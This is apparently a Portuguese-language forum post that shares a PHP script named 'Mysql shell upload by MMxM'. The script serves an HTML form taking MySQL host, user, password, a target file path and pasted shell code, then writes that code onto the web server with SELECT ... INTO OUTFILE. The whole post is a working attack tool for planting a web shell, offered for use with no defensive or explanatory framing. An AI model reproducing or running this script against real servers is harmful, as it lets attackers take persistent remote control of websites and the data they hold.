- Código:
<?php
/*
* Mysql shell upload by MMxM
* don't follow the white rabbit
*/
echo "<html>
<head>
<title> Mysql shell upload by MMxM </title>
<style type='text/css'>
body {
color:green;
background-color:white;
font-family: comic sans ms
}
h1 {
color: white;
font-family: comic sans ms;
font-size: 30px;
text-shadow: black 0.1em 0.1em 0.2em
}
</style>
</head>
<body>
<h1>Mysql Shell upload</h1>
<br>
</div>
<form action='#' method='post'>
Host |
<input type='text' name='host'><br/>
User |
<input type='text' name='user'><br/>
Pass_| <input type='password' name='senha'><br/><br/>
Path do site + nome do arquivo final:<br/>
<input type='text' name='path' size=37><br/>
Shell here:<br/>
<textarea name='shell' cols=40 rows=6>Criado por MMxM</textarea><br/>
<input type='submit' name='hacker'>
</form>
</body>
</html>";
if(isset($_POST['hacker'])){
$con = mysql_connect("$_POST[host]","$_POST[user]","$_POST[senha]");
if (!$con){
die(mysql_error());
}
$shell = addslashes($_POST['shell']);
$query = sprintf("SELECT '".$shell."' INTO OUTFILE '".$_POST['path']."'; ");
$exec = mysql_query($query);
if (!$exec){
die(mysql_error());
}
echo "[+]Ok";
}
?>
Participe do fórum, é rápido e fácil